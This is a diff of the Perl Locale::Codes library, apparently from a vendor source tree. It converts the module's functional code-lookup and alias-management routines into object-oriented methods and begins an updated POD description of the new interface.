+
+sub codeset {
+   my($self,$codeset) = @_;
+
+   my $type           = $$self{'type'};
+   if (! exists $ALL_CODESETS{$type}{'codesets'}{$codeset}) {
+      # uncoverable branch false
+      carp "ERROR: codeset: invalid argument: $codeset\n"  if ($$self{'err'});
+   }
+
+   $$self{'codeset'}  = $codeset;
+}
+
+sub version {
+  # uncoverable subroutine
+  # uncoverable statement
+  my($self) = @_;
+  # uncoverable statement
+  return $VERSION;
+}
+
+###############################################################################
+
+# This is used to validate a codeset and/or code.  It will also format
+# a code for that codeset.
 #
-# _code ( TYPE,CODE,CODESET )
+# (ERR,RET_CODE,RET_CODESET) = $o->_code([CODE [,CODESET]])
 #
-#=======================================================================
-
+#    If CODE is empty/undef, only the codeset will be validated
+#    and RET_CODE will be empty.
+#
+#    If CODE is passed in, it will be returned formatted correctly
+#    for the codeset.
+#
+#    ERR will be 0 or 1.
+#
+#    If $no_check_code is 1, then the code will not be validated (i.e.
+#    it doesn't already have to exist).  This will be useful for adding
+#    a new code.
+#
 sub _code {
-   return (1)  if (@_ > 3);
+   my($self,$code,$codeset,$no_check_code) = @_;
+   $code                    = ''  if (! defined($code));
+   $codeset                 = lc($codeset)  if (defined($codeset));
 
-   my($type,$code,$codeset) = @_;
-   $code = ''  if (! defined $code);
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
+   }
+   my $type = $$self{'type'};
+   if ($codeset  &&  ! exists $ALL_CODESETS{$type}{'codesets'}{$codeset}) {
+      carp "ERROR: _code: invalid codeset provided: $codeset\n"
+        if ($$self{'err'});
+      return (1);
+   }
 
-   # Determine the codeset
+   # If no codeset was passed in, return the codeset specified.
 
-   $codeset = $ALL_CODESETS{$type}{'default'}
-     if (! defined($codeset)  ||  $codeset eq '');
-   $codeset = lc($codeset);
-   return (1)  if (! exists $ALL_CODESETS{$type}{'codesets'}{$codeset});
-   return (0,$code,$codeset)  if ($code eq '');
+   $codeset = $$self{'codeset'}  if (! defined($codeset)  ||  $codeset eq '');
+   return (0,'',$codeset)        if ($code eq '');
 
    # Determine the properties of the codeset
 
@@ -59,48 +164,71 @@
 
    if      ($op eq 'lc') {
       $code = lc($code);
-      return (0,$code,$codeset);
    }
 
    if ($op eq 'uc') {
       $code = uc($code);
-      return (0,$code,$codeset);
    }
 
    if ($op eq 'ucfirst') {
       $code = ucfirst(lc($code));
-      return (0,$code,$codeset);
    }
 
    # uncoverable branch false
    if ($op eq 'numeric') {
-      return (1)  unless ($code =~ /^\d+$/);
-      my $l = $args[0];
-      $code    = sprintf("%.${l}d", $code);
-      return (0,$code,$codeset);
+      if ($code =~ /^\d+$/) {
+         my $l = $args[0];
+         $code    = sprintf("%.${l}d", $code);
+
+      } else {
+         # uncoverable statement
+         carp "ERROR: _code: invalid numeric code: $code\n"  if ($$self{'err'});
+         # uncoverable statement
+         return (1);
+      }
    }
 
-   # uncoverable statement
-   die "ERROR: codeset not defined correctly: $codeset [$op]\n";
+   # Determine if the code is in the codeset.
+
+   if (! $no_check_code  &&
+       ! exists $Data{$type}{'code2id'}{$codeset}{$code}  &&
+       ! exists $Retired{$type}{$codeset}{'code'}{$code}  &&
+       ! exists $Data{$type}{'codealias'}{$codeset}{$code}) {
+      carp "ERROR: _code: code not in codeset: $code [$codeset]\n"
+        if ($$self{'err'});
+      return (1);
+   }
+
+   return (0,$code,$codeset);
 }
 
-#=======================================================================
+###############################################################################
+
+# $name = $o->code2name(CODE [,CODESET] [,'retired'])
+# $code = $o->name2code(NAME [,CODESET] [,'retired'])
 #
-# _code2name ( TYPE,CODE [,CODESET] [,'retired'] )
+#    Returns the name associated with the CODE (or vice versa).
 #
-#=======================================================================
-
-sub _code2name {
-   my($type, at args)         = @_;
-   my $retired             = 0;
-   if (@args > 0  &&  $args[$#args]  &&  $args[$#args] eq 'retired') {
+sub code2name {
+   my($self, at args)   = @_;
+   my $retired       = 0;
+   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
       pop(@args);
-      $retired             = 1;
+      $retired       = 1;
    }
 
-   my($err,$code,$codeset) = _code($type, at args);
-   return undef  if ($err);
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
+   }
+   my $type = $$self{'type'};
 
+   my ($err,$code,$codeset) = $self->_code(@args);
+   return undef  if ($err  ||  ! $code);
+
    $code = $Data{$type}{'codealias'}{$codeset}{$code}
      if (exists $Data{$type}{'codealias'}{$codeset}{$code});
 
@@ -117,24 +245,27 @@
    }
 }
 
-#=======================================================================
-#
-# _name2code ( TYPE,NAME [,CODESET] [,'retired'] )
-#
-#=======================================================================
-
-sub _name2code {
-   my($type,$name, at args)   = @_;
+sub name2code {
+   my($self,$name, at args)   = @_;
    return undef  if (! $name);
    $name                   = lc($name);
 
-   my $retired             = 0;
-   if (@args > 0  &&  $args[$#args] eq 'retired') {
+   my $retired       = 0;
+   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
       pop(@args);
-      $retired             = 1;
+      $retired       = 1;
    }
 
-   my($err,$tmp,$codeset) = _code($type,'', at args);
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
+   }
+   my $type = $$self{'type'};
+
+   my ($err,$tmp,$codeset) = $self->_code('', at args);
    return undef  if ($err);
 
    if (exists $Data{$type}{'alias2id'}{$name}) {
@@ -150,58 +281,72 @@
    return undef;
 }
 
-#=======================================================================
+# $code = $o->code2code(CODE,CODESET2)
+# $code = $o->code2code(CODE,CODESET1,CODESET2)
 #
-# _code2code ( TYPE,CODE,CODESET )
+#    Changes the code in the CODESET1 (or the current codeset) to another
+#    codeset (CODESET2)
 #
-#=======================================================================
+sub code2code {
+   my($self, at args) = @_;
 
-sub _code2code {
-   my($type, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
    }
+   my $type = $$self{'type'};
 
-   if (@args != 3) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         croak "${type}_code2code() takes 3 arguments!";  # uncoverable statement
-      }
-      return undef;
+   my($code,$codeset1,$codeset2,$err);
+
+   if (@args == 2) {
+      ($code,$codeset2)      = @args;
+      ($err,$code,$codeset1) = $self->_code($code);
+      # uncoverable branch true
+      return undef  if ($err);
+
+   } elsif (@args == 3) {
+      ($code,$codeset1,$codeset2) = @args;
+      ($err,$code)                = $self->_code($code,$codeset1);
+      return undef  if ($err);
+      ($err)                      = $self->_code('',$codeset2);
+      # uncoverable branch true
+      return undef  if ($err);
    }
 
-   my($code,$inset,$outset) = @args;
-   my($err,$tmp);
-   ($err,$code,$inset) = _code($type,$code,$inset);
-   return undef  if ($err);
-   ($err,$tmp,$outset) = _code($type,'',$outset);
-   return undef  if ($err);
-
-   my $name    = _code2name($type,$code,$inset);
-   my $outcode = _name2code($type,$name,$outset);
-   return $outcode;
+   my $name    = $self->code2name($code,$codeset1);
+   my $out     = $self->name2code($name,$codeset2);
+   return $out;
 }
 
-#=======================================================================
+###############################################################################
+
+# @codes = $o->all_codes([CODESET] [,'retired']);
+# @names = $o->all_names([CODESET] [,'retired']);
 #
-# _all_codes ( TYPE [,CODESET] [,'retired'] )
-#
-#=======================================================================
+#    Returns all codes/names in the specified codeset, including retired
+#    ones if the option is given.
 
-sub _all_codes {
-   my($type, at args)         = @_;
-   my $retired             = 0;
-   if (@args > 0  &&  $args[$#args] eq 'retired') {
+sub all_codes {
+   my($self, at args)   = @_;
+   my $retired       = 0;
+   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
       pop(@args);
-      $retired             = 1;
+      $retired       = 1;
    }
 
-   my ($err,$tmp,$codeset) = _code($type,'', at args);
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
+   }
+   my $type = $$self{'type'};
+
+   my ($err,$tmp,$codeset) = $self->_code('', at args);
    return ()  if ($err);
 
    my @codes = keys %{ $Data{$type}{'code2id'}{$codeset} };
@@ -209,24 +354,27 @@
    return (sort @codes);
 }
 
-#=======================================================================
-#
-# _all_names ( TYPE [,CODESET] [,'retired'] )
-#
-#=======================================================================
-
-sub _all_names {
-   my($type, at args)         = @_;
-   my $retired             = 0;
-   if (@args > 0  &&  $args[$#args] eq 'retired') {
+sub all_names {
+   my($self, at args)   = @_;
+   my $retired       = 0;
+   if (@args  &&  defined($args[$#args])  &&  lc($args[$#args]) eq 'retired') {
       pop(@args);
-      $retired             = 1;
+      $retired       = 1;
    }
 
-   my ($err,$tmp,$codeset) = _code($type,'', at args);
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return (1);
+   }
+   my $type = $$self{'type'};
+
+   my ($err,$tmp,$codeset) = $self->_code('', at args);
    return ()  if ($err);
 
-   my @codes = _all_codes($type,$codeset);
+   my @codes = $self->all_codes($codeset);
    my @names;
 
    foreach my $code (@codes) {
@@ -243,50 +391,37 @@
    return (sort @names);
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->rename_code (CODE,NEW_NAME [,CODESET])
 #
-# _rename ( TYPE,CODE,NAME,CODESET )
-#
 # Change the official name for a code. The original is retained
 # as an alias, but the new name will be returned if you lookup the
 # name from code.
 #
-#=======================================================================
+# Returns 1 on success.
+#
+sub rename_code {
+   my($self,$code,$new_name,$codeset) = @_;
 
-sub _rename {
-   my($type,$code,$new_name, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
-   }
-
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset) = _code($type,$code,$codeset);
-
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "rename_$type(): unknown codeset\n";        # uncoverable statement
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
       return 0;
    }
+   my $type = $$self{'type'};
 
-   # Check that $code exists in the codeset.
+   # Make sure $code/$codeset are both valid
 
-   my $id;
-   if (exists $Data{$type}{'code2id'}{$codeset}{$code}) {
-      $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
-   } else {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "rename_$type(): unknown code: $code\n";    # uncoverable statement
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset);
+   if ($err) {
+      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
+        if ($$self{'err'});
       return 0;
    }
+   ($code,$codeset) = ($c,$cs);
 
    # Cases:
    #   1. Renaming to a name which exists with a different ID
@@ -299,6 +434,8 @@
    #      Create a new alias
    #      Change code2id (I value)
 
+   my $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
+
    if (exists $Data{$type}{'alias2id'}{lc($new_name)}) {
       # Existing name (case 1 and 2)
 
@@ -305,11 +442,8 @@
       my ($new_id,$i) = @{ $Data{$type}{'alias2id'}{lc($new_name)} };
       if ($new_id != $id) {
          # Case 1
-         if (! $nowarn) {                                 # uncoverable branch true
-                                                          # uncoverable statement
-            carp "rename_$type(): rename to an existing $type not allowed\n";
-         }
-
+         carp "ERROR: rename: rename to an existing name not allowed\n"
+           if ($$self{'err'});
          return 0;
       }
 
@@ -330,45 +464,40 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->add_code (CODE,NAME [,CODESET])
 #
-# _add_code ( TYPE,CODE,NAME,CODESET )
-#
 # Add a new code to the codeset. Both CODE and NAME must be
 # unused in the code set.
 #
-#=======================================================================
+sub add_code {
+   my($self,$code,$name,$codeset) = @_;
 
-sub _add_code {
-   my($type,$code,$name, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset) = _code($type,$code,$codeset);
+   # Make sure that $codeset is valid.
 
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "add_$type(): unknown codeset\n";           # uncoverable statement
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset,1);
+   if ($err) {
+      carp "ERROR: rename: Unknown codeset: $codeset\n"
+        if ($$self{'err'});
       return 0;
    }
+  ($code,$codeset) = ($c,$cs);
 
    # Check that $code is unused.
 
    if (exists $Data{$type}{'code2id'}{$codeset}{$code}  ||
        exists $Data{$type}{'codealias'}{$codeset}{$code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "add_$type(): code already in use: $code\n";# uncoverable statement
-      }
+      carp "add_code: code already in use: $code\n"  if ($$self{'err'});
       return 0;
    }
 
@@ -380,10 +509,7 @@
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       ($id,$i) = @{ $Data{$type}{'alias2id'}{lc($name)} };
       if (exists $Data{$type}{'id2code'}{$codeset}{$id}) {
-         if (! $nowarn) {                                 # uncoverable branch true
-                                                          # uncoverable statement
-            carp "add_$type(): name already in use: $name\n";
-         }
+         carp "add_code: name already in use: $name\n"  if ($$self{'err'});
          return 0;
       }
 
@@ -402,46 +528,36 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->delete_code (CODE [,CODESET])
 #
-# _delete_code ( TYPE,CODE,CODESET )
-#
 # Delete a code from the codeset.
 #
-#=======================================================================
+sub delete_code {
+   my($self,$code,$codeset) = @_;
 
-sub _delete_code {
-   my($type,$code, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
-   }
-
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset) = _code($type,$code,$codeset);
-
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "delete_$type(): unknown codeset\n";        # uncoverable statement
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
       return 0;
    }
+   my $type = $$self{'type'};
 
-   # Check that $code is valid.
+   # Make sure $code/$codeset are both valid
 
-   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "delete_$type(): code does not exist: $code\n";
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset);
+   # uncoverable branch true
+   if ($err) {
+      # uncoverable statement
+      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
+        if ($$self{'err'});
+      # uncoverable statement
       return 0;
    }
+   ($code,$codeset) = ($c,$cs);
 
    # Delete the code
 
@@ -472,25 +588,23 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->add_alias (NAME,NEW_NAME)
 #
-# _add_alias ( TYPE,NAME,NEW_NAME )
-#
 # Add a new alias. NAME must exist, and NEW_NAME must be unused.
 #
-#=======================================================================
+sub add_alias {
+   my($self,$name,$new_name) = @_;
 
-sub _add_alias {
-   my($type,$name,$new_name, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
    # Check that $name is used and $new_name is new.
 
@@ -498,18 +612,12 @@
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       $id = $Data{$type}{'alias2id'}{lc($name)}[0];
    } else {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "add_${type}_alias(): name does not exist: $name\n";
-      }
+      carp "add_alias: name does not exist: $name\n"  if ($$self{'err'});
       return 0;
    }
 
    if (exists $Data{$type}{'alias2id'}{lc($new_name)}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "add_${type}_alias(): alias already in use: $new_name\n";
-      }
+      carp "add_alias: alias already in use: $new_name\n"  if ($$self{'err'});
       return 0;
    }
 
@@ -522,10 +630,10 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->delete_alias (NAME)
 #
-# _delete_alias ( TYPE,NAME )
-#
 # This deletes a name from the list of names used by an element.
 # NAME must be used, but must NOT be the only name in the list.
 #
@@ -532,19 +640,17 @@
 # Any id2name that references this name will be changed to
 # refer to the first name in the list.
 #
-#=======================================================================
+sub delete_alias {
+   my($self,$name) = @_;
 
-sub _delete_alias {
-   my($type,$name, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
    # Check that $name is used.
 
@@ -552,19 +658,14 @@
    if (exists $Data{$type}{'alias2id'}{lc($name)}) {
       ($id,$i) = @{ $Data{$type}{'alias2id'}{lc($name)} };
    } else {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "delete_${type}_alias(): name does not exist: $name\n";
-      }
+      carp "delete_alias: name does not exist: $name\n"  if ($$self{'err'});
       return 0;
    }
 
    my $n = $#{ $Data{$type}{'id2names'}{$id} } + 1;
    if ($n == 1) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "delete_${type}_alias(): only one name defined (use _delete_${type} instead)\n";
-      }
+      carp "delete_alias: only one name defined (use delete_code instead)\n"
+        if ($$self{'err'});
       return 0;
    }
 
@@ -594,50 +695,38 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->replace_code (CODE,NEW_CODE [,CODESET])
 #
-# _rename_code ( TYPE,CODE,NEW_CODE,CODESET )
-#
 # Change the official code. The original is retained as an alias, but
-# the new name will be returned if you lookup the code from name.
+# the new code will be returned if do a name2code lookup.
 #
-#=======================================================================
+sub replace_code {
+   my($self,$code,$new_code,$codeset) = @_;
 
-sub _rename_code {
-   my($type,$code,$new_code, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset)     = _code($type,$code,$codeset);
+   # Make sure $code/$codeset are both valid (and that $new_code is the
+   # correct format)
 
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-         carp "rename_${type}_code(): unknown codeset\n"; # uncoverable statement
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset);
+   if ($err) {
+      carp "ERROR: rename_code: Unknown code/codeset: $code [$codeset]\n"
+        if ($$self{'err'});
       return 0;
    }
+   ($code,$codeset) = ($c,$cs);
 
-   ($err,$new_code,$codeset) = _code($type,$new_code,$codeset);
+   ($err,$new_code,$codeset) = $self->_code($new_code,$codeset,1);
 
-   # Check that $code exists in the codeset.
-
-   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "rename_${type}_code(): unknown code: $code\n";
-      }
-      return 0;
-   }
-
    # Cases:
    #   1. Renaming code to an existing alias of this code:
    #      Make the alias real and the code an alias
@@ -661,19 +750,15 @@
 
       } else {
          # Case 2
-         if (! $nowarn) {                                 # uncoverable branch true
-                                                          # uncoverable statement
-            carp "rename_${type}_code(): new code already in use: $new_code\n";
-         }
+         carp "rename_code: new code already in use: $new_code\n"
+           if ($$self{'err'});
          return 0;
       }
 
    } elsif (exists $Data{$type}{'code2id'}{$codeset}{$new_code}) {
       # Case 3
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "rename_${type}_code(): new code already in use: $new_code\n";
-      }
+      carp "rename_code: new code already in use: $new_code\n"
+        if ($$self{'err'});
       return 0;
    }
 
@@ -682,7 +767,8 @@
    $Data{$type}{'codealias'}{$codeset}{$code} = $new_code;
 
    my $id = $Data{$type}{'code2id'}{$codeset}{$code}[0];
-   $Data{$type}{'code2id'}{$codeset}{$new_code} = $Data{$type}{'code2id'}{$codeset}{$code};
+   $Data{$type}{'code2id'}{$codeset}{$new_code} =
+     $Data{$type}{'code2id'}{$codeset}{$code};
    delete $Data{$type}{'code2id'}{$codeset}{$code};
 
    $Data{$type}{'id2code'}{$codeset}{$id} = $new_code;
@@ -690,57 +776,43 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->add_code_alias (CODE,NEW_CODE [,CODESET])
 #
-# _add_code_alias ( TYPE,CODE,NEW_CODE,CODESET )
-#
 # Adds an alias for the code.
 #
-#=======================================================================
+sub add_code_alias {
+   my($self,$code,$new_code,$codeset) = @_;
 
-sub _add_code_alias {
-   my($type,$code,$new_code, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset)     = _code($type,$code,$codeset);
+   # Make sure $code/$codeset are both valid and that the new code is
+   # properly formatted.
 
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "add_${type}_code_alias(): unknown codeset\n";
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset);
+   if ($err) {
+      carp "ERROR: add_code_alias: Unknown code/codeset: $code [$codeset]\n"
+        if ($$self{'err'});
       return 0;
    }
+   ($code,$codeset) = ($c,$cs);
 
-   ($err,$new_code,$codeset) = _code($type,$new_code,$codeset);
+   ($err,$new_code,$cs) = $self->_code($new_code,$codeset,1);
 
-   # Check that $code exists in the codeset and that $new_code
-   # does not exist.
+   # Check that $new_code does not exist.
 
-   if (! exists $Data{$type}{'code2id'}{$codeset}{$code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "add_${type}_code_alias(): unknown code: $code\n";
-      }
-      return 0;
-   }
-
    if (exists $Data{$type}{'code2id'}{$codeset}{$new_code}  ||
        exists $Data{$type}{'codealias'}{$codeset}{$new_code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "add_${type}_code_alias(): code already in use: $new_code\n";
-      }
+      # uncoverable branch true
+      carp "add_code_alias: code already in use: $new_code\n"  if ($$self{'err'});
       return 0;
    }
 
@@ -751,45 +823,40 @@
    return 1;
 }
 
-#=======================================================================
+###############################################################################
+
+# $flag = $o->delete_code_alias (ALIAS [,CODESET])
 #
-# _delete_code_alias ( TYPE,ALIAS,CODESET )
-#
 # Deletes an alias for the code.
 #
-#=======================================================================
+sub delete_code_alias {
+   my($self,$code,$codeset) = @_;
 
-sub _delete_code_alias {
-   my($type,$code, at args) = @_;
-
-   # For tests, we'll ALWAYS have $nowarn
-   my $nowarn   = 0;
-   if (@args) {                                           # uncoverable branch false
-      if ($args[$#args] eq "nowarn") {                    # uncoverable branch false
-         $nowarn      = 1;
-         pop(@args);
-      }
+   # uncoverable branch true
+   if (! $$self{'type'}) {
+      # uncoverable statement
+      carp "ERROR: no type set for Locale::Codes object\n"  if ($$self{'err'});
+      # uncoverable statement
+      return 0;
    }
+   my $type = $$self{'type'};
 
-   my $codeset  = shift(@args);
-   my $err;
-   ($err,$code,$codeset)     = Locale::Codes::_code($type,$code,$codeset);
+   # Make sure $code/$codeset are both valid
 
-   if (! $codeset) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "delete_${type}_code_alias(): unknown codeset\n";
-      }
+   my($err,$c,$cs) = $self->_code($code,$codeset);
+   if ($err) {
+      # uncoverable branch true
+      carp "ERROR: rename: Unknown code/codeset: $code [$codeset]\n"
+        if ($$self{'err'});
       return 0;
    }
+   ($code,$codeset) = ($c,$cs);
 
    # Check that $code exists in the codeset as an alias.
 
    if (! exists $Data{$type}{'codealias'}{$codeset}{$code}) {
-      if (! $nowarn) {                                    # uncoverable branch true
-                                                          # uncoverable statement
-         carp "delete_${type}_code_alias(): no alias defined: $code\n";
-      }
+      # uncoverable branch true
+      carp "delete_code_alias(): no alias defined: $code\n"  if ($$self{'err'});
       return 0;
    }
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,172 +6,429 @@
 
 =head1 DESCRIPTION
 
-B<Locale-Codes> is a distribution containing a set of modules.  The
-modules each deal with different types of codes which identify parts
-of the locale including languages, countries, currency, etc.
+B<Locale-Codes> is a distribution containing a set of modules designed
+to work with sets of codes which uniquely identify something.  For
+example, there are codes associated with different countries, different
+currencies, different languages, etc.  These sets of codes are typically
+maintained in some standard.
 
-Currently, the following modules are included:
+This distribution provides a way to work with these lists of codes.
+Because the data from the various standards is not available in any
+sort of consistent API, access to the lists is not available in any
+direct fashion.  To compensate for this, the list of codes is stored
+internally within this distribution, and the distribution is updated
+on a regular basis to include all known codes at that point in time.
+This does mean that it is necessary to keep this distribution
+up-to-date to keep up with the various changes that are made in the
+various standards.
 
+Traditionally, a module has been created to work with each type of
+code sets.  So, there is a module for working with country lists, one
+for currency lists, etc.  Since version 3.00, all of these individual
+modules were written as wrappers around a central module (which was not
+intended to be used directly) which did all of the real work.
+
+Starting with version 3.50, the central module was reworked slightly
+to provide an object-oriented interface.  All of the modules for
+working with individual types of code sets were reworked to use the
+improved OO module, so the traditional interfaces still work as they
+always have.  As a result, you are free to use the traditional
+functional (non-OO) interfaces, or to use the OO interface and bypass
+the wrapper modules entirely.
+
+Both methods will be supported in the future, so use the one that is
+best suited to your needs.
+
+Within each type, any number of code sets are allowed.  For example,
+sets of country codes are maintained in several different locations
+including the ISO-3166 standard, the IANA, and by the United Nations.
+The lists of countries are similar, but not identical.  Multiple code
+sets are supported, though trying to convert from one code set to
+another will not always work since the list of countries is not
+one-to-one.
+
+All data in all of these modules comes directly from the original
+standards (or as close to direct as possible), so it should be
+up-to-date at the time of release.
+
+I plan on releasing a new version several times a year to incorporate
+any changes made in the standards. However, I don't always know about
+changes that occur, so if any of the standards change, and you want a
+new release sooner, just email me and I'll get one out.
+
+=head1 SYNOPSIS (OBJECT-ORIENTED INTERFACE)
+
+   use Locale::Codes;
+   or
+   use Locale::Codes ':constants';
+
+   $obj = new Locale::Codes 'country';
+
+=head1 OBJECT-ORIENTED METHODS
+
+The following methods are available.
+
+In all methods, when specifying a code set, the name (as a string)
+is always available.
+
+Traditionally, you could also use a perl constant to specify the
+code set.  In order to do so with the OO interface, you have to
+import the constants.  To do that, load the module with:
+
+   use Locale::Codes ':constants';
+
 =over 4
 
-=item L<Locale::Codes::Country>, L<Locale::Country>
+=item B<new ( [TYPE [,CODESET]] )>
 
-This includes support for country codes (such as those listed in ISO-3166)
-to specify the country.
+   $obj = new Locale::Codes;
+   $obj = new Locale::Codes 'country';
+   $obj = new Locale::Codes 'country','alpha-3';
